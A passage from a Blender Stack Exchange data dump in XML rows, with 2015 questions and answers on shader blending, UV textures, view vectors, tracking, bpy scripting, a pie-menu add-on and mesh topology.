alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This next node setup uses a second color ramp combined using the Linear Light Blend mode, many of the other blend modes give interesting effects as well.  This setup also uses a noise texture to modulate how the main colors transition across the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CnyTh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend file &lt;a href=&quot;http://www.pasteall.org/blend/35306&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/35306&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-03-30T14:04:23.980" LastActivityDate="2015-03-30T14:04:23.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27770" PostTypeId="1" CreationDate="2015-03-27T23:35:48.940" Score="0" ViewCount="643" Body="&lt;p&gt;&lt;strong&gt;PLEASE READ THE QUESTION, DO NOT MARK AS DUPLICATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at this &lt;a href=&quot;https://blender.stackexchange.com/questions/6534/render-not-showing-uv-texture&quot;&gt;Render not showing UV texture&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/20845/texture-view-works-but-render-is-without-texture&quot;&gt;Texture view works, but render is without texture&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I cannot find what is wrong&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The textures show up in texture view just fine:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lqjbP.png&quot; alt=&quot;capture 1&quot;&gt;&#xA;But not in render view:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/y0lKn.png&quot; alt=&quot;capture 2&quot;&gt;&#xA;It's just black&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed tutorials, created a material and then a texture, assigned an image and set coordinates to UV, selected map. Still not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blend:&#xA;&lt;a href=&quot;http://pasteall.org/blend/35260&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pasteall.org/blend/35260&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13446" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-03-27T23:35:48.940" Title="UV texture not visible in render" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-03-28T07:33:18.690" ContentLicense="CC BY-SA 3.0" />
  <row Id="27771" PostTypeId="2" ParentId="27764" CreationDate="2015-03-28T00:39:10.707" Score="22" Body="&lt;p&gt;&lt;strong&gt;Shading Point&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is the &lt;strong&gt;&lt;em&gt;nearest point of intersection&lt;/em&gt;&lt;/strong&gt; of the camera ray with a visible object, which the render engine is currently calculating the color for (these calculations are referred to as shading)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;img src=&quot;https://i.stack.imgur.com/hRBdu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The real View Vector&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is a vector (or a ray) in the camera space, starting from the center of the camera (or the view) and reaching the shading point &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RU947.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;View Vector&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is a &lt;strong&gt;&lt;em&gt;normalized view vector&lt;/em&gt;&lt;/strong&gt; (magnitude = 1 or unit vector) in the camera space, starting from the center of the camera (or the view) and pointing at the shading point (it doesn't necessarily reach it )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gRsim.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;View Z Depth&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it is the &lt;strong&gt;&lt;em&gt;Z component of the view vector&lt;/em&gt;&lt;/strong&gt; (the non normalized)&lt;/li&gt;&#xA;&lt;li&gt;it is the shortest distance from the shading point to the camera's XY plane (the is not normalized Z-depth, it is not from 0 to 1)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BNYOq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;View Distance&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is the magnitude of the non normalized view vector, or simply the distance from the shading point to the camera's center &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HTvnE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;where to use each one: well you know enough now to decide where to use them!&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="3710" LastEditDate="2016-03-29T07:16:07.553" LastActivityDate="2016-03-29T07:16:07.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27773" PostTypeId="1" CreationDate="2015-03-28T01:14:25.413" Score="3" ViewCount="1164" Body="&lt;p&gt;I'm attempting to track a slightly longish shot, and I don't want to fill up all my ram.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can play the animation with &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and blender caches and displays uncached frames in near real-time (~35 fps with 60fps footage). Blender will track cached frames faster than real-time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet when trying track uncached frames, blender takes longer than &lt;strong&gt;10&lt;/strong&gt; seconds per frame! Often as long as 15 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on here? Why does tracking uncached frames take far longer than the time needed to both cache and track separately?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-03-28T01:14:25.413" Title="Why does it take so much longer to track uncached frames?" Tags="&lt;tracking&gt;&lt;performance&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27774" PostTypeId="1" CreationDate="2015-03-28T01:17:01.973" Score="2" ViewCount="810" Body="&lt;p&gt;I am using blender as a python module and want to use this trick to get rendering results without saving on the disk:&#xA;&lt;a href=&quot;https://ammous88.wordpress.com/2015/01/16/blender-access-render-results-pixels-directly-from-python-2/&quot; rel=&quot;nofollow&quot;&gt;https://ammous88.wordpress.com/2015/01/16/blender-access-render-results-pixels-directly-from-python-2/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exact code described in the link works when I execute it in the python console of the blender program. However, it does not work, if I simply run it with python or by calling &lt;code&gt;blender -b -P script.py&lt;/code&gt;. In those cases, &lt;code&gt;bpy.data.images['Viewer Node'].pixels&lt;/code&gt; contains 256*256 zeros instead of the rendered cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate very much any tips concerning what the origin of this difference in behavior is, and how to eliminate it. &#xA;My guess would be, that some configuration of blender is different when starting the program compared to importing bpy in python, but I have no clue where to search for.&lt;/p&gt;&#xA;" OwnerUserId="13447" LastActivityDate="2015-03-30T11:07:12.220" Title="Script behaves differently when executed inside blender console vs python interpreter" Tags="&lt;python&gt;&lt;rendering&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27775" PostTypeId="1" AcceptedAnswerId="27776" CreationDate="2015-03-28T02:14:52.693" Score="11" ViewCount="2061" Body="&lt;p&gt;I'd like to sort of &quot;overlay&quot; these shaders, but the only options are mix and add. Allow me to explain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made two images, both white background, one with red scribbles and one with blue scribbles, both 1920x1080. Image textures plugged into diffuse was my node setup. I want both scribbles to be added to the plane while the background stays the same color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I mix them I get the following:&lt;a href=&quot;https://imgur.com/wKBW10t&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/wKBW10t.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The red and blue scribbles are now 50% dimmer than they would be on their own, and the white color hasn't changed in intensity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add them I get the following:&lt;a href=&quot;https://imgur.com/PTyRdaF&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/PTyRdaF.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The red and blue scribbles are still 50% dimmer than they normally would be (since the white background is being added over each). But the white background is now 2x brighter than normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I get a result where the white background is normal brightness and both the blue and red scribbles are at normal brightness?&lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorDisplayName="user1853" LastEditDate="2015-03-28T02:49:01.877" LastActivityDate="2020-10-21T14:51:47.907" Title="Combining multiple textures with a white background" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27776" PostTypeId="2" ParentId="27775" CreationDate="2015-03-28T02:27:53.057" Score="13" Body="&lt;p&gt;Here's an example with two images with a white background:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/clYFm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To keep the white and mix the two colors you can use a &lt;strong&gt;Color MixRGB&lt;/strong&gt; node with &lt;strong&gt;Multiply&lt;/strong&gt; as the transfer mode. Then plug that to only one &lt;strong&gt;Diffuse BSDF&lt;/strong&gt; shader:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/slk2x.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sy0LW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using Multiply as the transfer mode (quoting from the wiki)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Returns a darker result than either pixel in most cases (except one of them &amp;gt;equals white=1.0). Completely white layers do not change the background at all. &amp;gt;Completely black layers give a black result. The &amp;quot;opposite&amp;quot; to Screen mode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;More info &lt;strong&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/2.90/render/shader_nodes/color/index.html#color&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="15924" LastEditorDisplayName="user1853" LastEditDate="2020-10-21T14:51:47.907" LastActivityDate="2020-10-21T14:51:47.907" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27777" PostTypeId="2" ParentId="16039" CreationDate="2015-03-28T02:57:37.593" Score="4" Body="&lt;p&gt;I know this has being answered correctly by Gaia Clary , but I needed to do a similar thing, and it took me a little while to find the exact code needed, so here it is. &#xA;I wanted to be able to pick some (but not all of the mesh select menus).The code below shows how I achieved this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    bl_info = {&#xA;    &quot;name&quot;: &quot;Yomi_Pie_Menus&quot;,&#xA;    &quot;author&quot;: &quot;Oluwayomi Longe&quot;,&#xA;    &quot;version&quot;: (0, 0, 1),&#xA;    &quot;blender&quot;: (2, 73),&#xA;    &quot;description&quot;: &quot;Custom Pie Menus&quot;,&#xA;    &quot;category&quot;: &quot;3D View&quot;,}&#xA;&#xA;import bpy&#xA;from bpy.types import Menu&#xA;&#xA;# Pie Select Mode - Tab&#xA;class PieTabMode(Menu):&#xA;    bl_idname = &quot;pie.tabmode&quot;&#xA;    bl_label = &quot;Select Mode&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        pie = layout.menu_pie()&#xA;&#xA;        #4 - LEFT&#xA;        # use the commented line below if you want to toggle Edit and object mode&#xA;        #pie.operator(&quot;object.editmode_toggle&quot;, text=&quot;Edit/Object&quot;, icon='OBJECT_DATAMODE')          &#xA;&#xA;        pie.operator(&quot;object.mode_set&quot;, text=&quot;Edit&quot;, icon='EDITMODE_HLT').mode='EDIT' &#xA;        #6 - RIGHT&#xA;        pie.operator(&quot;object.mode_set&quot;, text=&quot;Object&quot;, icon='OBJECT_DATAMODE').mode='OBJECT'&#xA;&#xA;        #3 - BOTTOM&#xA;        box = pie.split().column()&#xA;        row = box.row(align=True)&#xA;        box.operator(&quot;mesh.select_mode&quot;, text=&quot;Vertex&quot;, icon='VERTEXSEL').type = 'VERT'&#xA;        box.operator(&quot;mesh.select_mode&quot;, text=&quot;Edge&quot;, icon='EDGESEL').type = 'EDGE'&#xA;        box.operator(&quot;mesh.select_mode&quot;, text=&quot;Face&quot;, icon='FACESEL').type = 'FACE'&#xA;        #8 - TOP&#xA;        #pie.operator(&quot;sculpt.sculptmode_toggle&quot;, text=&quot;Sculpt&quot;, icon='SCULPTMODE_HLT')&#xA;        pie.operator(&quot;object.mode_set&quot;, text=&quot;Sculpt&quot;, icon='SCULPTMODE_HLT').mode='SCULPT'&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(PieTabMode)    &#xA;    # or any other classes you add&#xA;&#xA;    wm = bpy.context.window_manager&#xA;&#xA;    if wm.keyconfigs.addon:&#xA;        #Select Mode&#xA;        km = wm.keyconfigs.addon.keymaps.new(name='Object Non-modal')&#xA;        kmi = km.keymap_items.new('wm.call_menu_pie', 'TAB', 'PRESS')&#xA;        kmi.properties.name = &quot;pie.tabmode&quot;    &#xA;&#xA;&#xA;def unregister(): &#xA;    bpy.utils.unregister_class(PieTabMode)&#xA;     # or any other classes you add&#xA;&#xA;    for km, kmi in addon_keymaps:&#xA;        km.keymap_items.remove(kmi)&#xA;    addon_keymaps.clear()&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13448" LastEditorUserId="13448" LastEditDate="2015-03-28T11:13:54.910" LastActivityDate="2015-03-28T11:13:54.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27778" PostTypeId="2" ParentId="27739" CreationDate="2015-03-28T03:21:25.307" Score="1" Body="&lt;p&gt;If you look at the very top of the screen for the tutorial in question, you'll see that is made with blender cycles and you are trying to do it in blender internal. Change it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XLgTq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-28T03:21:25.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27779" PostTypeId="1" AcceptedAnswerId="27794" CreationDate="2015-03-28T03:50:39.520" Score="6" ViewCount="940" Body="&lt;p&gt;If I export an armature as bvh and then import it back, the imported armature doesn't look anything like the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone please have a look and advise?, &lt;a href=&quot;https://www.dropbox.com/s/20pno7txud5ae8o/untitled.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="55" LastEditDate="2015-03-28T13:31:37.270" LastActivityDate="2015-03-28T14:35:53.090" Title="BVH Export/Import, Armature different when re-imported" Tags="&lt;animation&gt;&lt;export&gt;&lt;armature&gt;&lt;import&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27780" PostTypeId="1" AcceptedAnswerId="27801" CreationDate="2015-03-28T03:56:46.407" Score="4" ViewCount="591" Body="&lt;p&gt;Hopefully general topology questions are ok here. If not then I apologize. I'm still new and trying to focus on topology. I'm working on an insect type model (bee/wasp) and have kept it all quads but have now inserted circular holes for the legs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: if this is intended for a video game should I use n-gons to &quot;contain&quot; the holes and keep it low poly? Or insert edge loops to keep it all quads? Will having n-gons around the holes cause problems for texturing and animating later? Also I noticed that the edge loops I added makes the model all quads but also introduces 6 sided poles, is that bad? Did I do it incorrectly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've attached images with and without the edge loops. Thanks so much for any insight you can provide. I want to be confident in my topology choices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image without &quot;extra loops&quot;&#xA;&lt;img src=&quot;https://i.imgur.com/soZAoQ4.png?1&quot; alt=&quot;without loops&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image with &quot;extra loops&quot; (and 6 sided poles :/)&#xA;&lt;img src=&quot;https://i.imgur.com/HFGjwUZ.png?1&quot; alt=&quot;with loops&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference Image (still a ways to go lol)&#xA;&lt;img src=&quot;https://img3.wikia.nocookie.net/__cb20120311192511/donkeykong/images/c/c5/Pink_Buzz_Artwork_-_Donkey_Kong_Country_3.png&quot; alt=&quot;reference image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13394" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.290" LastActivityDate="2015-03-28T16:36:50.047" Title="Topology question regarding circular holes" Tags="&lt;topology&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27782" PostTypeId="1" CreationDate="2015-03-28T06:16:16.717" Score="5" ViewCount="113" Body="&lt;p&gt;Is there a way to straighten all the edges of the selected area of a UV map automatically? This means aligning every edge (set of consecutive vertices selectable by &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;). Currently I have to do this manually, as illustrated below, by selecting an edge (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; over the edge), hitting &lt;kbd&gt;S&lt;/kbd&gt; to scale, and &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Y&lt;/kbd&gt; to constrain it to the X or Y axis and then &lt;kbd&gt;0&lt;/kbd&gt; to set the scale to zero, averaging the distance between all points on that axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/h674G9C.gif&quot; alt=&quot;Animation showing the process of manually straightening UV edges&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the final result that I'm trying to achieve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y5S6f.png&quot; alt=&quot;Final unwrapping with all edges aligned along the X and Y axes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As illustrated above, this is extremely slow to do manually. I have tried Follow Active Quads, but in most cases that doesn't result in a straight grid where all the vertices are lined up along the X and Y axes. Is there an automatic way to straighten the edges of a UV map by lining them up along the X and Y axes?&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2015-03-28T19:33:10.933" LastActivityDate="2015-03-28T19:33:10.933" Title="Straighten UV map edges?" Tags="&lt;uv&gt;&lt;workflow&gt;" AnswerCount="0" CommentCount="7" FavoriteCount="3" ClosedDate="2015-03-28T21:26:01.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="27784" PostTypeId="2" ParentId="27740" CreationDate="2015-03-28T07:09:19.693" Score="-1" Body="&lt;p&gt;Improvised from &lt;em&gt;@Mutant Bob&lt;/em&gt; script. Thanks &lt;em&gt;@Mutant Bob&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h1&gt;the perpose of this script is to add a same amount of gap between all the clips or reduce the gap with same amount&lt;/h1&gt;&#xA;&lt;h1&gt;Please select all the clips before running the script&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def gap_strips(strips, gap):&#xA;    strips = sorted(strips, key=lambda strip: strip.frame_start)&#xA;    &#xA;    if ( gap &amp;gt; 0 ):&#xA;        for i in range(len(strips)-1,0,-1):&#xA;            st1 = strips[i] &#xA;            st1.frame_start = st1.frame_start + gap*i&#xA;    elif ( gap &amp;lt; 0 ):&#xA;        for i in range(0,len(strips)):&#xA;            st1 = strips[i] &#xA;            st1.frame_start = st1.frame_start + gap*i&#xA;    elif ( gap == 0):&#xA;        for i in range(1,len(strips)):&#xA;            st0 = strips[i-1]&#xA;            st1 = strips[i] &#xA;            print(st0.frame_start + st0.frame_final_duration,st1.frame_start)&#xA;            st1.frame_start = st0.frame_start + st0.frame_final_duration&#xA;&#xA;&#xA;def gap_selected_strips(scn, gap):&#xA;    gap_strips(&#xA;        [strip for strip in scn.sequence_editor.sequences if strip.select],&#xA;        gap)&#xA;&#xA;&#xA;gap_selected_strips(bpy.context.scene, 20)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="778" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-28T07:09:19.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27785" PostTypeId="1" CreationDate="2015-03-28T07:13:47.257" Score="1" ViewCount="950" Body="&lt;p&gt;My character's leg is deforming when the master bone of the armature, or any bone, moves away from the default position. It always points there, and I believe it may be because of the object's origin.I have made sure everything is weight painted already. Here is a screenshot : &lt;a href=&quot;http://gyazo.com/498f419cb9334c5a052cbaa977b4452c&quot; rel=&quot;nofollow&quot;&gt;http://gyazo.com/498f419cb9334c5a052cbaa977b4452c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can view the blend file here : &lt;a href=&quot;https://www.dropbox.com/s/8k380bhhhzmzgod/PROBLEM.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/8k380bhhhzmzgod/PROBLEM.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I'm relatively new to blender. &lt;/p&gt;&#xA;" OwnerUserId="13451" LastEditorUserId="599" LastEditDate="2015-03-28T19:17:11.580" LastActivityDate="2015-03-28T19:17:11.580" Title="Mesh deforming when armature is moved" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27786" PostTypeId="1" AcceptedAnswerId="27789" CreationDate="2015-03-28T07:41:29.160" Score="3" ViewCount="530" Body="&lt;p&gt;When I am in texture mode one of my objects looks like it is in solid mode. The model is textured like all other models in the scene, but it doesn't look like it is in texture mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot will explain better:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1KCtm.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What this model looks like.&lt;/li&gt;&#xA;&lt;li&gt;What all models should look like in texture mode.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11305" LastEditorUserId="599" LastEditDate="2015-03-28T09:43:25.603" LastActivityDate="2019-07-06T12:31:58.747" Title="Object in texture mode looks like solid mode" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2019-07-07T04:34:32.353" ContentLicense="CC BY-SA 3.0" />
  <row Id="27787" PostTypeId="1" AcceptedAnswerId="27788" CreationDate="2015-03-28T08:16:55.117" Score="6" ViewCount="5103" Body="&lt;p&gt;I have a model containing about 30 objects, all together about 900,000 vertices. My computer can't handle this amount of verticies and it gets realy slow. Is there a way how to turn on/off subsurf to all these objects at the same time?&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="743" LastEditDate="2015-03-28T17:54:49.133" LastActivityDate="2015-03-28T17:54:49.133" Title="How to turn off subsurf modifier on a lot of objects at the same time" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-03-28T18:37:53.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="27788" PostTypeId="2" ParentId="27787" CreationDate="2015-03-28T09:19:38.220" Score="9" Body="&lt;h1&gt;Simplify&lt;/h1&gt;&#xA;&lt;p&gt;Enable scene simplification in &lt;em&gt;Properties &amp;gt; Scene &amp;gt; Simplify&lt;/em&gt; and set the subdivision level to 0:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1VpN4.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Copy to selected&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select all the objects&lt;/li&gt;&#xA;&lt;li&gt;Disable the subsurf modifier in the viewport, then &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot; /&gt; RMB&lt;/kbd&gt;&lt;em&gt;&amp;gt; Copy to selected&lt;/em&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AXz3W.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-28T09:19:38.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27789" PostTypeId="2" ParentId="27786" CreationDate="2015-03-28T09:41:18.623" Score="3" Body="&lt;p&gt;Ensure that &lt;em&gt;Maximum draw type&lt;/em&gt; is set to &lt;em&gt;Textured&lt;/em&gt; in &lt;em&gt;Properties &gt; Object &gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lhj9O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;&lt;em&gt;See &lt;a href=&quot;https://blender.stackexchange.com/a/144627/30849&quot;&gt;this answer&lt;/a&gt; for a 2.8 screenshot.&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="30849" LastEditDate="2019-07-06T12:31:58.747" LastActivityDate="2019-07-06T12:31:58.747" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27791" PostTypeId="1" AcceptedAnswerId="27793" CreationDate="2015-03-28T12:31:20.280" Score="1" ViewCount="1971" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QMDWf.png&quot; alt=&quot;curve in edit mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am making a track for Assetto Corsa using curves. Basically I am having a problem here with this bezier curve (cyan arrow). I want to join it with the control handle marked in yellow.&lt;br&gt;&#xA;Tried &lt;kbd&gt;C&lt;/kbd&gt; but that highlights vertices and &lt;kbd&gt;F&lt;/kbd&gt; won't close it.&lt;/p&gt;&#xA;" OwnerUserId="13454" LastEditorUserId="2217" LastEditDate="2015-03-28T14:04:17.877" LastActivityDate="2015-03-28T14:04:17.877" Title="Bezier curve won't join?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27792" PostTypeId="2" ParentId="27785" CreationDate="2015-03-28T12:41:04.463" Score="1" Body="&lt;p&gt;You have a bone on different layer which has influence on the legs :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the bone in the outliner &lt;/li&gt;&#xA;&lt;li&gt;switch it to layer 1&lt;/li&gt;&#xA;&lt;li&gt;go to weight paint for the legs and clean the weight&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ytT7R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-28T12:41:04.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
